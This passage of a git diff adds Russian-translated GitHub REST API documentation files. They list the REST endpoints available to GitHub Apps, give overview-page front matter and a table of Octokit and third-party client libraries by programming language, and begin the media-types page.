/repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#get-all-requested-reviewers-for-a-pull-request) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) +- [`DELETE /repos/{owner}/{repo}/pulls/{pull_number}/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#get-a-review-for-a-pull-request) +- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#update-a-review-for-a-pull-request) +- [`DELETE /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}`](/rest/reference/pulls#delete-a-pending-review-for-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/reviews/{review_id}/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) +- [`GET /repos/{owner}/{repo}/pulls`](/rest/reference/pulls#list-pull-requests) +- [`POST /repos/{owner}/{repo}/pulls`](/rest/reference/pulls#create-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls#get-a-pull-request) +- [`PATCH /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls/#update-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/commits`](/rest/reference/pulls#list-commits-on-a-pull-request) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/files`](/rest/reference/pulls#list-pull-requests-files) +- [`GET /repos/{owner}/{repo}/pulls/{pull_number}/merge`](/rest/reference/pulls#check-if-a-pull-request-has-been-merged) +- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/merge`](/rest/reference/pulls#merge-a-pull-request) +- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/update-branch`](/rest/reference/pulls#update-a-pull-request-branch) + +## rate-limit + +- [`GET /rate_limit`](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user) + +## reactions + +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment) +- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-team-discussion-comment-reaction) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion) +- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-team-discussion-reaction) +- [`GET /repos/{owner}/{repo}/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment) +- [`POST /repos/{owner}/{repo}/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) +- [`DELETE /repos/{owner}/{repo}/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-a-commit-comment-reaction) +- [`GET /repos/{owner}/{repo}/issues/{issue_number}/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) +- [`POST /repos/{owner}/{repo}/issues/{issue_number}/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) +- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-an-issue-reaction) +- [`GET /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) +- [`POST /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) +- [`DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-an-issue-comment-reaction) +- [`GET /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment) +- [`POST /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment) +- [`DELETE /repos/{owner}/{repo}/pulls/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-a-pull-request-comment-reaction) +- [`GET /repos/{owner}/{repo}/releases/{release_id}/reactions`](/rest/reference/reactions/#list-reactions-for-a-release) +- [`POST /repos/{owner}/{repo}/releases/{release_id}/reactions`](/rest/reference/reactions/#create-reaction-for-a-release) +- [`DELETE /repos/{owner}/{repo}/releases/{release_id}/reactions/{reaction_id}`](/rest/reference/reactions/#delete-a-release-reaction) + +## repos + +- [`GET /repos/{owner}/{repo}/codeowners/errors`](/rest/reference/repos#list-codeowners-errors) +- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}/statuses`](/rest/reference/repos#list-deployment-statuses) +- [`POST /repos/{owner}/{repo}/deployments/{deployment_id}/statuses`](/rest/reference/repos#create-a-deployment-status) +- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}/statuses/{status_id}`](/rest/reference/repos#get-a-deployment-status) +- [`GET /repos/{owner}/{repo}/deployments`](/rest/reference/repos#list-deployments) +- [`POST /repos/{owner}/{repo}/deployments`](/rest/reference/repos#create-a-deployment) +- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}`](/rest/reference/repos#get-a-deployment) +- [`DELETE /repos/{owner}/{repo}/deployments/{deployment_id}`](/rest/reference/repos#delete-a-deployment) +- [`GET /orgs/{org}/repos`](/rest/reference/repos#list-organization-repositories) +- [`POST /orgs/{org}/repos`](/rest/reference/repos#create-an-organization-repository) +- [`GET /repositories`](/rest/reference/repos#list-public-repositories) +- [`GET /repos/{owner}/{repo}`](/rest/reference/repos#get-a-repository) +- [`PATCH /repos/{owner}/{repo}`](/rest/reference/repos/#update-a-repository) +- [`DELETE /repos/{owner}/{repo}`](/rest/reference/repos#delete-a-repository) +- [`GET /repos/{owner}/{repo}/contributors`](/rest/reference/repos#list-repository-contributors) +- [`GET /repos/{owner}/{repo}/forks`](/rest/reference/repos#list-forks) +- [`POST /repos/{owner}/{repo}/forks`](/rest/reference/repos#create-a-fork) +- [`GET /repos/{owner}/{repo}/languages`](/rest/reference/repos#list-repository-languages) +- [`GET /repos/{owner}/{repo}/tags`](/rest/reference/repos#list-repository-tags) +- [`GET /repos/{owner}/{repo}/teams`](/rest/reference/repos#list-repository-teams) +- [`POST /repos/{owner}/{repo}/transfer`](/rest/reference/repos#transfer-a-repository) +- [`GET /users/{username}/repos`](/rest/reference/repos#list-repositories-for-a-user) +- [`GET /user/repos`](/rest/reference/repos#list-repositories-for-the-authenticated-user) +- [`POST /user/repos`](/rest/reference/repos#create-a-repository-for-the-authenticated-user) +- [`GET /repos/{owner}/{repo}/autolinks`](/v3/repos#list-autolinks) +- [`POST /repos/{owner}/{repo}/autolinks`](/v3/repos#create-an-autolink) +- [`GET /repos/{owner}/{repo}/autolinks/{autolink_id}`](/v3/repos#get-autolink) +- [`DELETE /repos/{owner}/{repo}/autolinks/{autolink_id}`](/v3/repos#delete-autolink) +- [`PUT /repos/{owner}/{repo}/automated-security-fixes`](/rest/reference/repos#enable-automated-security-fixes) +- [`DELETE /repos/{owner}/{repo}/automated-security-fixes`](/rest/reference/repos#disable-automated-security-fixes) +- [`GET /repos/{owner}/{repo}/branches`](/rest/reference/repos#list-branches) +- [`POST /repos/{owner}/{repo}/merge-upstream`](/rest/reference/repos#sync-a-fork-branch-with-the-upstream-repository) +- [`POST /repos/{owner}/{repo}/merges`](/rest/reference/repos#merge-a-branch) +- [`POST /repos/{owner}/{repo}/dispatches`](/rest/reference/repos#create-a-repository-dispatch-event) +- [`GET /repos/{owner}/{repo}/keys`](/rest/reference/repos#list-deploy-keys) +- [`POST /repos/{owner}/{repo}/keys`](/rest/reference/repos#create-a-deploy-key) +- [`GET /repos/{owner}/{repo}/keys/{key_id}`](/rest/reference/repos#get-a-deploy-key) +- [`DELETE /repos/{owner}/{repo}/keys/{key_id}`](/rest/reference/repos#delete-a-deploy-key) +- [`PUT /repos/{owner}/{repo}/lfs`](/rest/reference/repos#enable-git-lfs-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/lfs`](/rest/reference/repos#disable-git-lfs-for-a-repository) +- [`GET /repos/{owner}/{repo}/releases`](/rest/reference/repos#list-releases) +- [`POST /repos/{owner}/{repo}/releases`](/rest/reference/repos#create-a-release) +- [`GET /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#get-a-release) +- [`PATCH /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#update-a-release) +- [`DELETE /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#delete-a-release) +- [`GET /repos/{owner}/{repo}/releases/{release_id}/assets`](/rest/reference/repos#list-release-assets) +- [`GET /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#get-a-release-asset) +- [`PATCH /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#update-a-release-asset) +- [`DELETE /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#delete-a-release-asset) +- [`POST /repos/{owner}/{repo}/releases/generate-notes`](/rest/reference/repos#generate-release-notes) +- [`GET /repos/{owner}/{repo}/releases/latest`](/rest/reference/repos#get-the-latest-release) +- [`GET /repos/{owner}/{repo}/tags/protection`](/rest/reference/repos#list-tag-protection-state-of-a-repository) +- [`POST /repos/{owner}/{repo}/tags/protection`](/rest/reference/repos#create-tag-protection-state-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/tags/protection/{tag_protection_id}`](/rest/reference/repos#delete-tag-protection-state-for-a-repository) +- [`GET /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#check-if-vulnerability-alerts-are-enabled-for-a-repository) +- [`PUT /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#enable-vulnerability-alerts) +- [`DELETE /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#disable-vulnerability-alerts) +- [`GET /repos/{owner}/{repo}/topics`](/rest/reference/repos#get-all-repository-topics) +- [`PUT /repos/{owner}/{repo}/topics`](/rest/reference/repos#replace-all-repository-topics) + +## search + +- [`GET /search/code`](/rest/reference/search#search-code) +- [`GET /search/commits`](/rest/reference/search#search-commits) +- [`GET /search/issues`](/rest/reference/search#search-issues-and-pull-requests) +- [`GET /search/labels`](/rest/reference/search#search-labels) +- [`GET /search/repositories`](/rest/reference/search#search-repositories) +- [`GET /search/topics`](/rest/reference/search#search-topics) +- [`GET /search/users`](/rest/reference/search#search-users) + +## secret-scanning + +- [`GET /enterprises/{enterprise}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-an-enterprise) +- [`GET /orgs/{org}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-an-organization) +- [`GET /repos/{owner}/{repo}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) +- [`GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) +- [`PATCH /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}`](/rest/reference/secret-scanning#update-a-secret-scanning-alert) +- [`GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations`](/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert) + +## teams +{% ifversion ghec %} +- [`PATCH /orgs/{org}/teams/{team_slug}/external-groups`](/rest/reference/teams#link-external-idp-group-team-connection){% endif %}{% ifversion ghec %} +- [`DELETE /orgs/{org}/teams/{team_slug}/external-groups`](/rest/reference/teams#unlink-external-idp-group-team-connection){% endif %}{% ifversion ghec %} +- [`GET /orgs/{org}/external-group/{group_id}`](/rest/reference/teams#external-idp-group-info-for-an-organization){% endif %}{% ifversion ghec %} +- [`GET /orgs/{org}/external-groups`](/rest/reference/teams#list-external-idp-groups-for-an-organization){% endif %} +- [`GET /orgs/{org}/teams/{team_slug}/projects`](/rest/reference/teams#list-team-projects) +- [`GET /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#check-team-permissions-for-a-project) +- [`PUT /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#add-or-update-team-project-permissions) +- [`DELETE /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#remove-a-project-from-a-team) +- [`GET /orgs/{org}/teams/{team_slug}/repos`](/rest/reference/teams#list-team-repositories) +- [`GET /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#check-team-permissions-for-a-repository) +- [`PUT /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#add-or-update-team-repository-permissions) +- [`DELETE /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#remove-a-repository-from-a-team) +- [`PATCH /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#update-a-team) +- [`DELETE /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#delete-a-team) +- [`GET /orgs/{org}/teams/{team_slug}/invitations`](/rest/reference/teams#list-pending-team-invitations) +- [`GET /orgs/{org}/teams/{team_slug}/members`](/rest/reference/teams#list-team-members) +- [`GET /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#get-team-membership-for-a-user) +- [`PUT /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#add-or-update-team-membership-for-a-user) +- [`DELETE /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#remove-team-membership-for-a-user) +- [`GET /orgs/{org}/teams/{team_slug}/teams`](/rest/reference/teams#list-child-teams) +- [`GET /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#get-a-team-by-name) +- [`GET /orgs/{org}/teams`](/rest/reference/teams#list-teams) +- [`POST /orgs/{org}/teams`](/rest/reference/teams#create-a-team) +- [`GET /user/teams`](/rest/reference/teams#list-teams-for-the-authenticated-user) +- [`GET /orgs/{org}/teams/{team_slug}/discussions`](/rest/reference/teams#list-discussions) +- [`POST /orgs/{org}/teams/{team_slug}/discussions`](/rest/reference/teams#create-a-discussion) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#get-a-discussion) +- [`PATCH /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#update-a-discussion) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#delete-a-discussion) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments`](/rest/reference/teams#list-discussion-comments) +- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments`](/rest/reference/teams#create-a-discussion-comment) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#get-a-discussion-comment) +- [`PATCH /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#update-a-discussion-comment) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#delete-a-discussion-comment) + +## users + +- [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) +- [`GET /user/blocks/{username}`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) +- [`PUT /user/blocks/{username}`](/rest/reference/users#block-a-user) +- [`DELETE /user/blocks/{username}`](/rest/reference/users#unblock-a-user) +- [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) +- [`GET /user/emails`](/rest/reference/users#list-email-addresses-for-the-authenticated-user) +- [`POST /user/emails`](/rest/reference/users#add-an-email-address-for-the-authenticated-user) +- [`DELETE /user/emails`](/rest/reference/users#delete-an-email-address-for-the-authenticated-user) +- [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) +- [`GET /users/{username}/followers`](/rest/reference/users#list-followers-of-a-user) +- [`GET /users/{username}/following`](/rest/reference/users#list-the-people-a-user-follows) +- [`GET /users/{username}/following/{target_user}`](/rest/reference/users#check-if-a-user-follows-another-user) +- [`GET /user/followers`](/rest/reference/users#list-followers-of-the-authenticated-user) +- [`GET /user/following`](/rest/reference/users#list-the-people-the-authenticated-user-follows) +- [`GET /user/following/{username}`](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user) +- [`PUT /user/following/{username}`](/rest/reference/users#follow-a-user) +- [`DELETE /user/following/{username}`](/rest/reference/users#unfollow-a-user) +- [`GET /users/{username}/gpg_keys`](/rest/reference/users#list-gpg-keys-for-a-user) +- [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) +- [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) +- [`GET /user/gpg_keys/{gpg_key_id}`](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user) +- [`DELETE /user/gpg_keys/{gpg_key_id}`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) +- [`GET /users/{username}/hovercard`](/rest/reference/users#get-contextual-information-for-a-user) +- [`GET /users/{username}/keys`](/rest/reference/users#list-public-keys-for-a-user) +- [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) +- [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) +- [`GET /user/keys/{key_id}`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) +- [`DELETE /user/keys/{key_id}`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) +- [`GET /users/{username}/ssh_signing_keys`](/rest/reference/users#list-ssh-signing-keys-for-a-user) +- [`GET /user/ssh_signing_keys`](/rest/reference/users#list-public-ssh-signing-keys-for-the-authenticated-user) +- [`POST /user/ssh_signing_keys`](/rest/reference/users#create-an-ssh-signing-key-for-the-authenticated-user) +- [`GET /user/ssh_signing_keys/{ssh_signing_key_id}`](/rest/reference/users#get-a-ssh-signing-key-for-the-authenticated-user) +- [`DELETE /user/ssh_signing_keys/{ssh_signing_key_id}`](/rest/reference/users#delete-a-ssh-signing-key-for-the-authenticated-user) +- [`GET /user`](/rest/reference/users#get-the-authenticated-user) +- [`PATCH /user`](/rest/reference/users/#update-the-authenticated-user) +- [`GET /users/{username}`](/rest/reference/users#get-a-user) +- [`GET /users`](/rest/reference/users#list-users) + +## webhooks + +- [`GET /repos/{owner}/{repo}/hooks`](/rest/webhooks/repos#list-repository-webhooks) +- [`POST /repos/{owner}/{repo}/hooks`](/rest/webhooks/repos#create-a-repository-webhook) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#get-a-repository-webhook) +- [`PATCH /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#update-a-repository-webhook) +- [`DELETE /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#delete-a-repository-webhook) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/config`](/rest/webhooks/repo-config#get-a-webhook-configuration-for-a-repository) +- [`PATCH /repos/{owner}/{repo}/hooks/{hook_id}/config`](/rest/webhooks/repo-config#update-a-webhook-configuration-for-a-repository) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries`](/rest/webhooks/repo-deliveries#list-deliveries-for-a-repository-webhook) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id}`](/rest/webhooks/repo-deliveries#get-a-delivery-for-a-repository-webhook) +- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id}/attempts`](/rest/webhooks/repo-deliveries#redeliver-a-delivery-for-a-repository-webhook) +- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/pings`](/rest/webhooks/repos#ping-a-repository-webhook) +- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/tests`](/rest/webhooks/repos#test-the-push-repository-webhook) diff --git a/translations/ru-RU/content/rest/overview/endpoints-available-for-github-apps.md b/translations/ru-RU/content/rest/overview/endpoints-available-for-github-apps.md new file mode 100644 index 000000000000..fbfedb465c7d --- /dev/null +++ b/translations/ru-RU/content/rest/overview/endpoints-available-for-github-apps.md @@ -0,0 +1,23 @@ +--- +title: 'Конечные точки, доступные для приложений GitHub' +intro: Ваше приложение может выполнять запросы к следующим конечным точкам REST. +permissions: 'You must use an installation access token to access endpoints using your {% data variables.product.prodname_github_app %}. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)."' +redirect_from: + - /v3/apps/available-endpoints + - /rest/reference/endpoints-available-for-github-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +shortTitle: GitHub App-enabled endpoints +ms.openlocfilehash: d8bb53e1844b8171a1ce742fc38e4c4bb29013e7 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109520' +--- + diff --git a/translations/ru-RU/content/rest/overview/index.md b/translations/ru-RU/content/rest/overview/index.md new file mode 100644 index 000000000000..ec14bf446a63 --- /dev/null +++ b/translations/ru-RU/content/rest/overview/index.md @@ -0,0 +1,31 @@ +--- +title: Обзор REST API +shortTitle: Overview +intro: 'Узнайте о ресурсах, библиотеках, предварительных версиях и устранении неполадок для REST API {% data variables.product.prodname_dotcom %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +children: + - /resources-in-the-rest-api + - /media-types + - /other-authentication-methods + - /troubleshooting + - /api-previews + - /libraries + - /openapi-description + - /endpoints-available-for-github-apps + - /endpoints-available-for-fine-grained-personal-access-tokens + - /permissions-required-for-github-apps + - /permissions-required-for-fine-grained-personal-access-tokens +ms.openlocfilehash: 413b4771d77508a1916473009891e1444fa5ea32 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148098104' +--- + diff --git a/translations/ru-RU/content/rest/overview/libraries.md b/translations/ru-RU/content/rest/overview/libraries.md new file mode 100644 index 000000000000..09b01ccff3d7 --- /dev/null +++ b/translations/ru-RU/content/rest/overview/libraries.md @@ -0,0 +1,160 @@ +--- +title: Библиотеки +intro: 'Официальная библиотека Octokit и другие сторонние библиотеки позволяют расширять возможности и упрощать использование API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}.' +redirect_from: + - /libraries + - /v3/libraries +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +ms.openlocfilehash: aa139c0d25354260ccf688079f3e15a871b627bd +ms.sourcegitcommit: 0ed77777360ec29eee7cd4fc212ae36fdd97c0bc +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/11/2022 +ms.locfileid: '148160965' +--- +![The Gundamcat](/assets/images/gundamcat.png) + +## Octokit имеет множество вариантов + +Воспользуйтесь официальной библиотекой Octokit или выберите любую доступную стороннюю библиотеку. + +- [Octokit.py](https://github.com/khornberg/octokit.py) → **Python** +- **Ruby** → [octokit.rb](https://github.com/octokit/octokit.rb) +- **octokit.net → .NET** [](https://github.com/octokit/octokit.net) +- **JavaScript** → [octokit/octokit.js](https://github.com/octokit/octokit.js) + +## Сторонние библиотеки + +### Clojure + +| Имя библиотеки | Хранилище | +|---|---| +|**Tentacles**| [Raynes/tentacles](https://github.com/Raynes/tentacles)| + +### Dart + +| Имя библиотеки | Хранилище | +|---|---| +|**github.dart** | [SpinlockLabs/github.dart](https://github.com/SpinlockLabs/github.dart)| + +### Emacs Lisp + +| Имя библиотеки | Хранилище | +|---|---| +|**gh.el** | [sigma/gh.el](https://github.com/sigma/gh.el)| + +### Erlang + +| Имя библиотеки | Хранилище | +|---|---| +|**octo-erl** | [sdepold/octo.erl](https://github.com/sdepold/octo.erl)| + +### Go + +| Имя библиотеки | Хранилище | +|---|---| +|**go-github**| [google/go-github](https://github.com/google/go-github)| + +### Haskell + +| Имя библиотеки | Хранилище | +|---|---| +|**haskell-github** | [fpco/Github](https://github.com/fpco/GitHub)| + +### Java + +| Имя библиотеки | Хранилище | Дополнительные сведения | +|---|---|---| +|**API GitHub для Java**| [org.kohsuke.github (с github-api)](http://github-api.kohsuke.org/)|определяет объектно-ориентированное представление API GitHub.| +|**API GitHub JCabi**|[github.jcabi.com (личный веб-сайт)](http://github.jcabi.com)|основан на API JSON Java7 (JSR-353), упрощает тесты с помощью заглушки среды выполнения GitHub и охватывает весь API.| + +### JavaScript + +| Имя библиотеки | Хранилище | +|---|---| +|**Библиотека NodeJS GitHub**| [pksunkara/octonode](https://github.com/pksunkara/octonode)| +|**Оболочка gh3 для API на стороне клиента, версия 3**| [k33g/gh3](https://github.com/k33g/gh3)| +|**Оболочка Github.js вокруг API GitHub**|[michael/github](https://github.com/michael/github)| +|**Основанная на Promise библиотека CoffeeScript для браузера либо NodeJS**|[philschatz/github-client](https://github.com/philschatz/github-client)| + +### Julia + +| Имя библиотеки | Хранилище | +|---|---| +|**GitHub.jl**|[JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl)| + +### OCaml + +| Имя библиотеки | Хранилище | +|---|---| +|**ocaml-github**|[mirage/ocaml-github](https://github.com/mirage/ocaml-github)| + +### Perl; + +| Имя библиотеки | Хранилище | Веб-сайт metacpan для библиотеки | +|---|---|---| +|**Pithub**|[plu/Pithub](https://github.com/plu/Pithub)|[Pithub CPAN](http://metacpan.org/module/Pithub)| +|**Net::GitHub**|[fayland/perl-net-github](https://github.com/fayland/perl-net-github)|[Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub)| + +### PHP + +| Имя библиотеки | Хранилище | +|---|---| +|**PHP GitHub API**|[KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api)| +|**Пакет GitHub Joomla!**|[joomla-framework/github-api](https://github.com/joomla-framework/github-api)| +|**Мост GitHub для Laravel**|[GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub)| + +### PowerShell + +| Имя библиотеки | Хранилище | +|---|---| +|**PowerShellForGitHub**|[microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub)| + +### Python + +| Имя библиотеки | Хранилище | +|---|---| +|**gidgethub**|[brettcannon/gidgethub](https://github.com/brettcannon/gidgethub)| +|**ghapi**|[fastai/ghapi](https://github.com/fastai/ghapi)| +|**PyGithub**|[PyGithub/PyGithub](https://github.com/PyGithub/PyGithub)| +|**libsaas**|[duckboard/libsaas](https://github.com/ducksboard/libsaas)| +|**github3.py**|[sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py)| +|**sanction**|[demianbrecht/sanction](https://github.com/demianbrecht/sanction)| +|**agithub**|[jpaugh/agithub](https://github.com/jpaugh/agithub)| +|**octohub**|[turnkeylinux/octohub](https://github.com/turnkeylinux/octohub)| +|**github-flask**|[github-flask (официальный веб-сайт)](http://github-flask.readthedocs.org)| +|**torngithub**|[jkeylu/torngithub](https://github.com/jkeylu/torngithub)| +|**githubkit**|[yanyongyu/githubkit](https://github.com/yanyongyu/githubkit)| + +### Ruby + +| Имя библиотеки | Хранилище | +|---|---| +|**GitHub API Gem**|[peter-murach/github](https://github.com/peter-murach/github)| +|**Ghee**|[rauhryan/ghee](https://github.com/rauhryan/ghee)| + +### Rust + +| Имя библиотеки | Хранилище | +|---|---| +|**Octocrab**|[XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab)| +|**Octocat**|[octocat-rs/octocat-rs](https://github.com/octocat-rs/octocat-rs)| + +### Scala + +| Имя библиотеки | Хранилище | +|---|---| +|**Hubcat**|[softprops/hubcat](https://github.com/softprops/hubcat)| +|**Github4s**|[47deg/github4s](https://github.com/47deg/github4s)| + +### Shell + +| Имя библиотеки | Хранилище | +|---|---| +|**ok.sh**|[whiteinge/ok.sh](https://github.com/whiteinge/ok.sh)| diff --git a/translations/ru-RU/content/rest/overview/media-types.md b/translations/ru-RU/content/rest/overview/media-types.md new file mode 100644 index 000000000000..dbff56110d0b --- /dev/null +++ b/translations/ru-RU/content/rest/overview/media-types.md @@ -0,0 +1,134 @@ +--- +title: Типы мультимедиа +intro: 'Сведения о типах носителей для указания формата данных, которые необходимо использовать.' +redirect_from: + - /v3/media +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +ms.openlocfilehash: d93ba31647967f2f3a38dd47c5cc6d8a623c6c6e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 